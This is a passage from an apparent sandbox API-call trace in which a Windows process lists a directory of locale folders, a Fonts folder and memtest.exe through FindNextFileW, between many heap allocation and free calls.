ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0116.994] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.994] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.994] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x1c) returned 0x6164f78 [0116.994] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165068 [0116.994] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.994] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fc8 | out: hHeap=0x35b0000) returned 1 [0116.994] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0116.994] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.994] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.994] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x38) returned 0x6183888 [0116.994] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165040 [0116.994] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165068 | out: hHeap=0x35b0000) returned 1 [0116.994] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f78 | out: hHeap=0x35b0000) returned 1 [0116.994] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f78 [0116.995] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.995] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fc8 | out: hHeap=0x35b0000) returned 1 [0116.995] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0116.995] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.995] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.995] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x54) returned 0x6168a08 [0116.995] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165068 [0116.995] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165018 [0116.995] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165040 | out: hHeap=0x35b0000) returned 1 [0116.995] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f78 | out: hHeap=0x35b0000) returned 1 [0116.995] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6183888 | out: hHeap=0x35b0000) returned 1 [0116.995] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f78 [0116.995] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.995] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0116.995] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.995] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.995] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x70) returned 0x6145c10 [0116.995] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165040 [0116.995] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164ff0 [0116.995] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f50 [0116.995] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0116.995] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.995] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.995] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xa8) returned 0x6132d20 [0116.995] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165018 [0116.995] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165068 [0116.995] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165180 [0116.995] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61651a8 [0116.995] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0116.995] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f50 [0116.996] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xfc) returned 0x360f820 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164ff0 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165040 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61651d0 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61651f8 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165220 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165248 [0116.996] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f78 [0116.996] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61651a8 [0116.996] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x16c) returned 0x361c840 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165180 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165068 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165018 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165270 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165298 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61652c0 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61652e8 [0116.996] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165310 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165338 [0116.997] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f78 [0116.997] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f50 [0116.997] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165248 [0116.997] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0116.997] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x214) returned 0x61efce8 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165220 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61651f8 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61651d0 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165040 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164ff0 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165360 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165388 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61653b0 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61653d8 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165400 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165428 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165450 [0116.997] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165478 [0116.998] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f50 [0116.998] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f78 [0116.998] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61651a8 [0116.998] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165338 [0116.998] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165310 [0116.998] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x310) returned 0x6194728 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61652e8 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61652c0 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165298 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165270 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165018 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165068 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165180 [0116.998] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61654a0 [0116.999] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61654c8 [0116.999] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61654f0 [0116.999] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165518 [0116.999] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165540 [0116.999] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165568 [0116.999] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165590 [0116.999] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61655b8 [0116.999] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61655e0 [0116.999] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165608 [0116.999] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165630 [0116.999] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165658 [0116.999] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0116.999] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.999] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.999] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165338 [0116.999] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0116.999] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.999] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.999] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61651a8 [0116.999] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, 